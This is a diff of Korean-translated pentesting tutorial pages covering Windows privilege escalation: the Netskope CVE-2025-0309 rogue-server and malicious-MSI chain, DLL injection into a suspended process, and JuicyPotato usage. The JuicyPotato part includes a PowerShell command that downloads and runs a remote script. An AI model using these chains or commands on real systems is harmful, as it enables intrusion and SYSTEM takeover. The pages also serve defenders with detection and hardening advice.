- [ ] 파일 레지스트리에서의 [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry)
- [ ] 휴지통 안의 흥미로운 [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
- [ ] 자격증명을 포함한 다른 [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry) 확인
- [ ] 브라우저 데이터(데이터베이스, 히스토리, 즐겨찾기 등) 내부 확인: [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history)
- [ ] 파일 레지스트리에서의 [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry)
- [ ] 비밀번호를 자동으로 검색하는 [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords)
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
@ -110,6 +110,6 @@
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
- [ ] 악용할 수 있는지 확인
- [ ] 이를 악용할 수 있는지 확인
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,27 +2,27 @@
{{#include ../../banners/hacktricks-training.md}}
이 페이지는 낮은 마찰의 IPC 인터페이스와 권한 있는 업데이트 흐름을 노출하는 엔터프라이즈 엔드포인트 에이전트 및 업데이트 프로그램에서 발견되는 Windows 로컬 권한 상승 체인의 한 범주를 일반화합니다. 대표적인 예는 Netskope Client for Windows < R129 (CVE-2025-0309), 낮은 권한의 사용자가 공격자 제어 서버로의 등록을 강제한 다음 SYSTEM 서비스가 설치하는 악성 MSI를 전달할 있습니다.
이 페이지는 낮은 마찰의 IPC 표면과 권한 있는 업데이트 흐름을 노출하는 엔터프라이즈 엔드포인트 에이전트와 업데이터에서 발견되는 Windows 로컬 권한 상승 체인의 한 범주를 일반화합니다. 대표적인 예는 Netskope Client for Windows < R129 (CVE-2025-0309), 권한이 낮은 사용자가 공격자가 제어하는 서버로 등록을 강제한 SYSTEM 서비스가 설치하는 악성 MSI를 전달할 있습니다.
재사용할 수 있는 핵심 아이디어:
- 권한 있는 서비스의 localhost IPC를 악용해 공격자 서버로의 재등록 또는 재구성을 강제합니다.
- 벤더의 업데이트 엔드포인트를 구현하고, 악성 Trusted Root CA를 배포한 뒤 업데이터를 악성으로 “서명된” 패키지로 가리킵니다.
- 약한 signer 검사(CN allowlists), 선택적 digest 플래그 및 느슨한 MSI 속성을 회피합니다.
- IPC가 “encrypted”되어 있다면 레지스트리에 저장된 모두가 읽을 수 있는 머신 식별자에서 key/IV를 유도합니다.
- 서비스가 image path/process name으로 호출자를 제한하면 allowlisted 프로세스에 인젝션하거나 프로세스를 suspended 상태로 생성한 뒤 최소한의 threadcontext 패치로 DLL을 부트스트랩합니다.
다음은 유사 제품에 재사용 가능한 핵심 아이디어입니다:
- 권한 있는 서비스의 localhost IPC를 악용해 재등록 또는 재구성을 공격자 서버로 강제합니다.
- 공급업체의 업데이트 엔드포인트를 구현하고, 악성 Trusted Root CA를 배포한 다음 업데이트 프로그램을 악의적 “서명된” 패키지로 가리킵니다.
- 약한 서명자 검사(CN allowlists), 선택적 다이제스트 플래그, 느슨한 MSI 속성을 회피합니다.
- IPC가 “encrypted” 되어 있다면 레지스트리에 저장된 전역 읽기 가능한 머신 식별자에서 key/IV를 유도합니다.
- 서비스가 이미지 경로/프로세스 이름으로 호출자를 제한하면 허용 목록에 있는 프로세스에 인젝션하거나 하나를 suspended 상태로 생성한 뒤 최소한의 스레드 컨텍스트 패치로 DLL을 부트스트랩합니다.
---
## 1) localhost IPC를 통한 공격자 서버로의 등록 강제화
## 1) localhost IPC를 통해 공격자 서버로 등록을 강제하기
많은 에이전트는 JSON을 사용해 localhost TCP를 통해 SYSTEM 서비스와 통신하는 usermode UI 프로세스를 제공합니다.
Netskope에서 관찰:
Netskope에서 관찰된 구성:
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
공격 흐름:
1) 백엔드 호스트를 제어하는 클레임(예: AddonUrl)을 포함하는 JWT 등록 토큰을 생성합니다. 서명이 필요 없도록 alg=None을 사용합니다.
2) JWT와 테넌트 이름을 포함해 provisioning 명령을 호출하는 IPC 메시지를 보냅니다:
익스플로잇 흐름:
1) 백엔드 호스트(예: AddonUrl)를 제어하는 클레임을 포함한 JWT enrollment 토큰을 생성합니다. alg=None을 사용하면 서명이 필요 없습니다.
2) JWT와 테넌트 이름을 포함해 프로비저닝 명령을 호출하는 IPC 메시지를 전송합니다:
```json
{
"148": {
@ -31,86 +31,86 @@ Netskope에서 관찰됨:
}
}
```
3) 서비스가 등록/구성을 위해 공격자 서버로 요청을 보내기 시작합니다. 예:
3) 서비스가 enrollment/config를 위해 악성 서버를 호출하기 시작합니다. 예:
- /v1/externalhost?service=enrollment
- /config/user/getbrandingbyemail
Notes:
- 호출자 검증이 path/namebased인 경우, 요청을 allowlisted vendor binary에서 시작하세요 (see §4).
- 호출자 검증이 경로/이름 기반이라면, 허용 목록에 등록된 vendor binary에서 요청을 발생시키세요 (§4 참조).
---
## 2) 업데이트 채널을 탈취하여 SYSTEM 권한으로 코드 실행
클라이언트가 서버와 통신하면, 예상되는 엔드포인트를 구현하고 클라이언트를 공격자 MSI로 유도합니다. 일반적인 순서:
클라이언트가 서버와 통신하면, 예상되는 endpoints를 구현하고 클라이언트를 악성 MSI로 유도하세요. 일반적인 순서:
1) /v2/config/org/clientconfig → 매우 짧은 업데이트 간격을 가진 JSON config 반환, 예:
1) /v2/config/org/clientconfig → JSON config를 아주 짧은 업데이트 간격으로 반환, 예:
```json
{
"clientUpdate": { "updateIntervalInMin": 1 },
"check_msi_digest": false
}
```
2) /config/ca/cert → PEM CA certificate를 반환합니다. 서비스는 이를 Local Machine Trusted Root store에 설치합니다.
3) /v2/checkupdate → 악 MSI와 가짜 버전을 가리키는 메타데이터를 제공합니다.
2) /config/ca/cert → PEM CA 인증서를 반환합니다. 서비스는 이를 Local Machine Trusted Root store에 설치합니다.
3) /v2/checkupdate → 악의적인 MSI와 가짜 버전을 가리키는 메타데이터를 제공합니다.
Bypassing common checks seen in the wild:
- Signer CN allowlist: 서비스는 Subject CN이 “netSkope Inc” 또는 “Netskope, Inc.”인지 여부만 확인할 수 있습니다. 당신의 rogue CA는 해당 CN으로 leaf를 발급해 MSI에 서명할 수 있습니다.
- CERT_DIGEST property: CERT_DIGEST라는 이름의 무해한 MSI 속성을 포함하세요. 설치 시 강제 검증이 없습니다.
- Optional digest enforcement: config 플래그(예: check_msi_digest=false)가 추가 암호화 검증을 비활성화합니다.
- Signer CN allowlist: 서비스는 Subject CN이 “netSkope Inc” 또는 “Netskope, Inc.”인지 만 확인할 수 있습니다. Your rogue CA는 해당 CN을 가진 leaf를 발급하고 MSI에 서명할 수 있습니다.
- CERT_DIGEST property: CERT_DIGEST라는 이름의 무해한 MSI 속성을 포함합니다. 설치 시 강제되지 않습니다.
- Optional digest enforcement: config 플래그(e.g., check_msi_digest=false)가 추가 암호학적 검증을 비활성화합니다.
Result: SYSTEM 서비스 C:\ProgramData\Netskope\stAgent\data\*.msi에서 당신의 MSI를 설치하여 NT AUTHORITY\SYSTEM으로 임의 코드를 실행합니다.
Result: SYSTEM 서비스 C:\ProgramData\Netskope\stAgent\data\*.msi에서 당신의 MSI를 설치하여 NT AUTHORITY\SYSTEM으로 임의 코드를 실행합니다.
---
## 3) Forging encrypted IPC requests (when present)
From R127, Netskope는 IPC JSON을 Base64처럼 보이는 encryptData 필드로 래핑했습니다. 리버싱 결과 AES가 사용되며 key/IV는 모든 사용자가 읽을 수 있는 레지스트리 값에서 유도된 것으로 나타났습니다:
From R127, Netskope는 IPC JSON을 Base64처럼 보이는 encryptData 필드로 래핑했습니다. 리버싱 결과 AES가 레지스트리 값에서 유도된 key/IV로 동작하는 것이 드러났고, 해당 값들은 모든 사용자가 읽을 수 있습니다:
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
공격자는 암호화 과정을 재현하여 일반 사용자 권한으로도 유효한 암호화된 명령을 전송할 수 있습니다. 일반적인 팁: 에이전트가 갑자기 IPC를 “암호화”하기 시작하면, HKLM 아래의 device ID, product GUID, install ID 같은 항목을 찾아보세요.
공격자는 암호화를 재현하여 일반 사용자 계정에서 유효한 암호화된 명령을 보낼 수 있습니다. 일반 팁: 에이전트가 갑자기 IPC를 “암호화”하기 시작하면, HKLM 아래의 device ID, product GUID, install ID 같은 을 찾아보세요.
---
## 4) Bypassing IPC caller allowlists (path/name checks)
일부 서비스는 TCP 연결의 PID를 해결하고 이미지 경로/이름을 Program Files 하위의 허용된 벤더 바이너리(예: stagentui.exe, bwansvc.exe, epdlp.exe)와 비교하여 피어를 인증하려 합니다.
일부 서비스는 TCP 연결의 PID를 확인하고 이미지 경로/이름을 Program Files 아래의 허용된 벤더 바이너리(예: stagentui.exe, bwansvc.exe, epdlp.exe)와 비교하여 피어를 인증하려 합니다.
두 가지 실용적 우회 방법:
- DLL injection into an allowlisted process (예: nsdiag.exe) 후 그 내부에서 IPC를 프록시합니다.
- 허용된 바이너리를 suspended 상태로 실행한 뒤 CreateRemoteThread 없이 proxy DLL을 부트스트랩(§5 참조)하여 드라이버가 강제하는 조작 방지 규칙을 만족시킵니다.
실용적 우회 방법 두 가지:
- DLL injection으로 허용된 프로세스(e.g., nsdiag.exe)에 주입하고 그 내부에서 IPC를 프록시합니다.
- 허용된 바이너리를 suspended 상태로 생성한 뒤 CreateRemoteThread를 사용하지 않고 proxy DLL을 부트스트랩하여 드라이버가 강제하는 변조 규칙을 충족시킵니다(see §5).
---
## 5) Tamperprotection friendly injection: suspended process + NtContinue patch
제품들은 종종 minifilter/OB callbacks driver(예: Stadrv)를 함께 배포하여 보호된 프로세스에 대한 핸들 권한을 제거합니다:
- Process: PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME 제거
제품들은 종종 minifilter/OB callbacks 드라이버(e.g., Stadrv)를 번들로 제공하여 보호 대상 프로세스에 대한 위험 권한을 제거합니다:
- Process: PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME 제거
- Thread: THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE로 제한
이 제약을 준수하는 신뢰할 수 있는 usermode 로더 절차:
1) CreateProcess로 벤더 바이너리를 CREATE_SUSPENDED 상태로 생성합니다.
2) 여전히 얻을 수 있는 핸들을 획득합니다: 프로세스에 대해 PROCESS_VM_WRITE | PROCESS_VM_OPERATION, 스레드에 대해 THREAD_GET_CONTEXT/THREAD_SET_CONTEXT(또는 알려진 RIP에서 코드를 패치할 경우 THREAD_RESUME만).
3) ntdll!NtContinue(또는 초기 로드가 보장되는 다른 thunk)를 LoadLibraryW로 당신의 DLL 경로를 호출하고 돌아오도록 하는 작은 스텁으로 덮어씁니다.
4) ResumeThread로 스텁을 트리거하여 프로세스 내에서 DLL을 로드합니다.
이 제약을 준수하는 신뢰할 수 있는 유저모드 로더:
1) CreateProcess로 벤더 바이너리를 CREATE_SUSPENDED로 실행합니다.
2) 여전히 얻을 수 있는 핸들을 확보합니다: 프로세스에 대해 PROCESS_VM_WRITE | PROCESS_VM_OPERATION, 스레드에 대해 THREAD_GET_CONTEXT/THREAD_SET_CONTEXT(또는 알려진 RIP에서 코드를 패치할 경우 THREAD_RESUME만).
3) ntdll!NtContinue(또는 일찍 매핑되어 있는 다른 thunk)를 작은 스텁으로 덮어쓰고, 그 스텁에서 LoadLibraryW로 당신의 DLL 경로를 호출한 뒤 원래로 점프하도록 만듭니다.
4) ResumeThread로 스텁을 트리거하여 프로세스 내에서 DLL을 로드합니다.
이미 보호된 프로세스에 대해 PROCESS_CREATE_THREAD나 PROCESS_SUSPEND_RESUME을 사용하지 않았기 때문에(당신이 만든 프로세스입니다) 드라이버 정책을 만족합니다.
이미 보호된 프로세스에 대해 PROCESS_CREATE_THREAD나 PROCESS_SUSPEND_RESUME를 사용하지 않았고(당신이 프로세스를 생성했기 때문에) 드라이버 정책을 만족시킵니다.
---
## 6) Practical tooling
- NachoVPN (Netskope plugin)은 rogue CA, 악성 MSI 서명 자동화 및 필요한 엔드포인트(/v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate)를 제공합니다.
- UpSkope는 임의의(선택적으로 AES암호화된) IPC 메시지를 제작할 수 있는 커스텀 IPC 클라이언트이며, 허용된 바이너리에서 시작되도록 suspendedprocess 인젝션을 포함합니다.
- NachoVPN (Netskope plugin) — rogue CA 자동화, 악성 MSI 서명, 그리고 /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate 같은 필요한 엔드포인트 제공을 자동화합니다.
- UpSkope — 임의의(선택적으로 AES로 암호화된) IPC 메시지를 생성하고 허용된 바이너리에서 기원하도록 suspendedprocess 주입을 포함한 커스텀 IPC 클라이언트입니다.
---
## 7) Detection opportunities (blue team)
- Local Machine Trusted Root에 추가되는 항목을 모니터링하세요. Sysmon + registrymod 이벤트(참조: SpecterOps 가이드)가 잘 작동합니다.
- Local Machine Trusted Root에 대한 추가를 모니터링하세요. Sysmon + registrymod 이벤트(see SpecterOps guidance)가 효과적입니다.
- 에이전트 서비스가 C:\ProgramData\<vendor>\<agent>\data\*.msi 같은 경로에서 시작한 MSI 실행을 플래그합니다.
- 에이전트 로그를 검토하여 예상치 못한 enrollment 호스트/테넌트(예: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log) — addonUrl / tenant 이상 및 provisioning msg 148을 확인하세요.
- 예상된 서명된 바이너리가 아니거나 비정상적인 자식 프로세스 트리에서 시작된 localhost IPC 클라이언트에 대해 경보를 설정하세요.
- 에이전트 로그를 검토하여 예상치 못한 enrollment 호스트/테넌트(예: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log addonUrl / tenant 이상 및 provisioning msg 148)를 확인합니다.
- 예상된 서명된 바이너리가 아니거나 비정상적인 자식 프로세스 트리에서 시작된 localhost IPC 클라이언트에 대해 경보를 설정합니다.
---
## Hardening tips for vendors
- enrollment/update 호스트를 엄격한 allowlist에 바인하고 clientcode에서 신뢰되지 않은 도메인을 거부하세요.
- 이미지 경로/이름 확인 대신 OS 프리미티브(ALPC security, namedpipe SIDs)로 IPC 피어를 인증하세요.
- 비밀 재를 worldreadable한 HKLM에 두지 마세요; IPC를 암호화해야 한다면 보호된 비밀에서 키를 유도하거나 인증된 채널에서 협상하세요.
- updater를 공급망 표면으로 간주하세요: 신뢰하는 CA로 완전한 체인을 요구하고, 패키지 서명을 pinned 키에 대해 검증하며, config에서 검증이 비활성화되어 있으면 fail closed 하세요.
- enrollment/update 호스트를 엄격한 allowlist에 바인하고 clientcode에서 신뢰되지 않은 도메인을 거부하세요.
- IPC 피어 인증에는 이미지 경로/이름 확인 대신 OS 프리미티브(ALPC security, namedpipe SIDs)를 사용하세요.
- 비밀 재를 worldreadable한 HKLM에 두지 마세요; IPC를 암호화해야 한다면 보호된 비밀에서 키를 유도하거나 인증된 채널에서 협상하세요.
- updater를 서플라이체인 표면으로 취급하세요: 신뢰하는 CA로의 전체 체인을 요구하고, 패키지 서명을 고정된 키로 검증하며, 구성에서 검증이 비활성화된 경우 fail closed하세요.
## References
- [Advisory Netskope Client for Windows Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING] > JuicyPotato는 레거시입니다. 일반적으로 Windows 10 1803 / Windows Server 2016까지의 버전에서 동작합니다. Windows 10 1809 / Server 2019부터 적용된 Microsoft의 하드닝 변경으로 원래 기법이 깨졌습니다. 해당 빌드 및 이후 버전에서는 PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato 등과 같은 최신 대안을 고려하세요. 최신 옵션과 사용법은 아래 페이지를 참조하세요.
> [!WARNING] > JuicyPotato는 레거시입니다. 일반적으로 Windows 10 1803 / Windows Server 2016까지의 Windows 버전에서 작동합니다. Microsoft가 Windows 10 1809 / Server 2019에서 도입한 변경사항들은 원래 기법을 깨뜨렸습니다. 해당 빌드 및 그 이후 버전에서는 PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato 등과 같은 최신 대안을 고려하십시오. 최신 옵션과 사용법은 아래 페이지를 참조하세요.
{{#ref}}
@ -15,47 +15,49 @@ _A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/Rotten
#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
### 호환성 요약
### Compatibility quick notes
- 현재 컨텍스트에 SeImpersonatePrivilege 또는 SeAssignPrimaryTokenPrivilege가 있 경우 Windows 10 1803 및 Windows Server 2016까지 신뢰성 있게 동작합니다.
- Windows 10 1809 / Windows Server 2019 및 이후 버전에서는 Microsoft의 하드닝으로 인해 동작하지 않습니다. 해당 빌드에서는 위에 링크된 대안들을 사용하는 것을 권장합니다.
- 현재 컨텍스트에 SeImpersonatePrivilege 또는 SeAssignPrimaryTokenPrivilege가 있 경우 Windows 10 1803 및 Windows Server 2016까지 신뢰성 있게 동작합니다.
- Windows 10 1809 / Windows Server 2019 이후의 Microsoft 하드닝으로 인해 동작하지 않습니다. 해당 빌드에서는 위에 링크된 대안들을 사용하는 것이 좋습니다.
### 요약 <a href="#summary" id="summary"></a>
### Summary <a href="#summary" id="summary"></a>
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
우리는 [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)를 무기화하기로 결정했습니다: Juicy Potato를 소개합니다.
Windows 빌드 리뷰 중에 `BITS`가 의도적으로 비활성화되어 있고 포트 `6666`가 사용 중인 설정을 발견했습니다.
> 이론은 [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)을 참조하세요.
We decided to weaponize [RottenPotatoNG]: **Say hello to Juicy Potato**.
`BITS` 외에도 남용할 수 있는 여러 COM 서버가 있다는 것을 발견했습니다. 이들은 다음을 충족해야 합니다:
> 이론은 [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)를 참조하고 링크와 참조를 따라가세요.
1. 현재 사용자(일반적으로 impersonation 권한이 있는 “service user”)로 인스턴스화할 수 있을 것
2. `IMarshal` 인터페이스를 구현할 것
3. 상승된 사용자로 실행될 것 (SYSTEM, Administrator 등)
We discovered that, other than `BITS` there are a several COM servers we can abuse. They just need to:
몇 차례의 테스트 후 여러 Windows 버전에서 [흥미로운 CLSID들](http://ohpe.it/juicy-potato/CLSID/)의 광범위한 목록을 얻고 테스트했습니다.
1. 현재 사용자(일반적으로 “service user”로, impersonation 권한을 가진 사용자)가 인스턴스화할 수 있어야 합니다.
2. `IMarshal` 인터페이스를 구현해야 합니다.
3. elevated user(SYSTEM, Administrator, …)로 실행되어야 합니다.
### 자세한 내용 <a href="#juicy-details" id="juicy-details"></a>
After some testing we obtained and tested an extensive list of [interesting CLSIDs](http://ohpe.it/juicy-potato/CLSID/) on several Windows versions.
JuicyPotato를 사용하면 다음을 수행할 수 있습니다:
### Juicy details <a href="#juicy-details" id="juicy-details"></a>
- **Target CLSID** _원하는 CLSID를 선택하십시오._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _에서 OS별로 정리된 목록을 찾을 수 있습니다._
- **COM Listening port** _기본 하드코딩된 6666 대신 원하는 COM 리스닝 포트를 정의할 수 있습니다._
- **COM Listening IP address** _서버를 원하는 IP에 바인딩할 수 있습니다._
- **Process creation mode** _임퍼스네이트된 사용자의 권한에 따라 다음 중 선택할 수 있습니다:_
JuicyPotato allows you to:
- **Target CLSID** _원하는 CLSID를 선택하세요._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _OS별로 정리된 목록을 찾을 수 있습니다._
- **COM Listening port** _원하는 COM 리스닝 포트를 정의하세요 (마샬된 하드코딩된 6666 대신)._
- **COM Listening IP address** _서버를 원하는 IP에 바인드하세요._
- **Process creation mode** _임시로 가장된 사용자(impersonated user)의 권한에 따라 다음 중 선택할 수 있습니다:_
- `CreateProcessWithToken` (needs `SeImpersonate`)
- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
- `both`
- **Process to launch** _익스플로잇이 성공하면 실행할 실행파일이나 스크립트를 지정합니다._
- **Process Argument** _실행 프로세스의 인수를 커스터마이즈합니다._
- **Process to launch** _exploit 성공 시 실행할 실행 파일 또는 스크립트를 지정합니다._
- **Process Argument** _실행 프로세스의 인수를 커스터마이즈합니다._
- **RPC Server address** _은밀한 접근을 위해 외부 RPC 서버에 인증할 수 있습니다._
- **RPC Server port** _외부 서버에 인증하고 싶지만 방화벽이 포트 `135`를 차단하는 경우 유용합니다…_
- **RPC Server port** _외부 서버에 인증하려 하는데 방화벽이 포트 `135`를 차단하는 경우 유용합니다…_
- **TEST mode** _주로 테스트 목적(예: CLSID 테스트)을 위한 모드입니다. DCOM을 생성하고 토큰의 사용자를 출력합니다. 테스트 관련 내용은_ [_here for testing_](http://ohpe.it/juicy-potato/Test/) _을 참조하세요._
### 사용법 <a href="#usage" id="usage"></a>
### Usage <a href="#usage" id="usage"></a>
```
T:\>JuicyPotato.exe
JuicyPotato v0.1
@ -72,28 +74,28 @@ Optional args:
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
```
### Final thoughts <a href="#final-thoughts" id="final-thoughts"></a>
### 최종 고찰 <a href="#final-thoughts" id="final-thoughts"></a>
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
사용자에게 `SeImpersonate` 또는 `SeAssignPrimaryToken` 권한이 있으면 당신은 **SYSTEM**입니다.
사용자`SeImpersonate` 또는 `SeAssignPrimaryToken` 권한을 가지고 있다면 당신은 **SYSTEM** 입니다.
들 COM Servers의 남용을 모두 방지하는 것은 거의 불가능합니다. `DCOMCNFG`를 통해 이러한 객체들의 권한을 수정하는 것을 생각해 볼 수 있지만, 성공하기는 매우 어려울 것입니다.
모든 COM Servers의 남용을 완전히 막는 것은 거의 불가능합니다. `DCOMCNFG`를 통해 해당 객체들의 권한을 수정하는 것을 고려할 수는 있지만, 성공하기 쉽지 않을 것입니다.
질적인 해결책은 `* SERVICE` 계정으로 실행되는 민감한 계정과 애플리케이션을 보호하는 것입니다. `DCOM`을 중단하면 이 익스플로잇을 억제할 수 있겠지만, 기반 OS에 심각한 영향을 미칠 수 있습니다.
해결책은 `* SERVICE` 계정으로 실행되는 민감한 계정과 애플리케이션을 보호하는 것입니다. `DCOM`을 중지하면 이 익스플로잇을 억제할 수는 있겠지만, 기본 OS에 심각한 영향을 줄 수 있습니다.
출처: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
## JuicyPotatoNG (2022+)
JuicyPotatoNG는 다음을 결합하여 최신 Windows에서 JuicyPotato-style local privilege escalation을 재도입합니다:
- 선택한 포트에서 로컬 RPC 서버로의 DCOM OXID 해상도를 사용하여 이전에 하드코딩된 127.0.0.1:6666 리스너를 피함.
- RpcImpersonateClient 없이 들어오는 SYSTEM 인증을 캡처하고 대리(impersonate)할 수 있는 SSPI 훅; 또한 오직 `SeAssignPrimaryTokenPrivilege`만 있는 경우에 `CreateProcessAsUser` 가능하게 함.
- PrintNotify / ActiveX Installer Service 클래스를 타깃으로 할 때 이전의 `INTERACTIVE`-group 요건과 같은 DCOM 활성화 제약을 만족시키기 위한 트릭들.
JuicyPotatoNG는 다음을 결합하여 최신 Windows에서 JuicyPotato 스타일의 local privilege escalation을 재도입합니다:
- DCOM OXID resolution을 선택한 포트의 로컬 RPC server로 수행하여, 이전에 하드코딩된 127.0.0.1:6666 리스너를 피함.
- SSPI hook을 통해 RpcImpersonateClient를 요구하지 않고 들어오는 SYSTEM 인증을 캡처하고 가장(impersonate)함. 이는 또한 SeAssignPrimaryTokenPrivilege만 있는 경우에도 CreateProcessAsUser를 가능하게 함.
- DCOM activation 제약을 만족시키기 위한 트릭들(예: PrintNotify / ActiveX Installer Service 클래스를 대상으로 할 때 이전의 INTERACTIVE-group 요구사항).
중요 참고(빌드별로 동작이 변경됨):
- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”.
- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
중요 참고사항 (빌드별 동작 변화):
- September 2022: 초기 기법은 “INTERACTIVE trick”을 사용하여 지원되는 Windows 10/11 및 Server 대상에서 동작함.
- January 2023 update from the authors: Microsoft가 이후 INTERACTIVE trick을 차단함. 다른 CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7})가 익스플로잇을 복원하지만, 게시물에 따르면 이는 Windows 11 / Server 2022에서만 작동함.
Basic usage (more flags in the help):
```
@ -103,11 +105,11 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# -s Scan for a COM port not filtered by Windows Defender Firewall
# -i Interactive console (only with CreateProcessAsUser)
```
만약 목표가 Windows 10 1809 / Server 2019이고 classic JuicyPotato가 패치되어 있다면, 상단에 링크된 대안들(RoguePotato, PrintSpoofer, EfsPotato/GodPotato 등)을 사용하는 것이 좋습니다. NG는 빌드 및 서비스 상태에 따라 달라질 수 있습니다.
Windows 10 1809 / Server 2019에서 클래식 JuicyPotato가 패치된 경우, 맨 위에 링크된 대안들(RoguePotato, PrintSpoofer, EfsPotato/GodPotato 등)을 우선 사용하세요. NG는 빌드 및 서비스 상태에 따라 상황에 따라 다를 수 있습니다.
## 예제
참고: 시도할 CLSID 목록은 [this page](https://ohpe.it/juicy-potato/CLSID/)를 참조하세요.
참고: 시도해볼 CLSID 목록은 [this page](https://ohpe.it/juicy-potato/CLSID/)에서 확인하세요.
### nc.exe reverse shell 얻기
```
@ -122,31 +124,31 @@ Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
c:\Users\Public>
```
### Powershell rev
### Powershell 리버스
```
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
```
### RDP 접근 권한이 있는 경우 새 CMD 실행
### Launch a new CMD (if you have RDP access)
![](<../../images/image (300).png>)
## CLSID 문제
## CLSID Problems
종종 JuicyPotato가 사용하는 기본 CLSID는 **작동하지 않아** 익스플로잇이 실패합니다. 일반적으로 **작동하는 CLSID**를 찾기 위해 여러 번 시도해야 합니다. 특정 운영체제에서 시도할 CLSID 목록을 얻으려면 다음 페이지를 방문하세요:
종종 JuicyPotato가 사용하는 기본 CLSID는 **작동하지 않아** 익스플로잇이 실패합니다. 일반적으로 **작동하는 CLSID**를 찾기 위해 여러 번 시도해야 합니다. 특정 운영체제에서 시도할 CLSID 목록을 얻으려면 다음 페이지를 방문하세요:
- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
### **CLSID 확인**
### **Checking CLSIDs**
먼저 juicypotato.exe 외에 몇몇 실행 파일이 필요합니다.
먼저, juicypotato.exe 외에 몇 가지 실행 파일이 필요합니다.
[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1)를 다운로드하여 PS 세션에 로드하고, [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1)을 다운로드하여 실행하세요. 해당 스크립트는 테스트할 가능한 CLSID 목록을 생성합니다.
[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1)를 다운로드 PS 세션에 로드하고, [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1)를 다운로드하여 실행하세요. 해당 스크립트는 테스트할 수 있는 CLSID 목록을 생성합니다.
다음 [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(CLSID 목록 경로와 juicypotato 실행 파일 경로를 변경) 를 다운로드하여 실행하세요. 이 배치 파일은 모든 CLSID를 차례로 시도하며, 포트 번호가 변경되면 **해당 CLSID가 작동한 것**을 의미합니다.
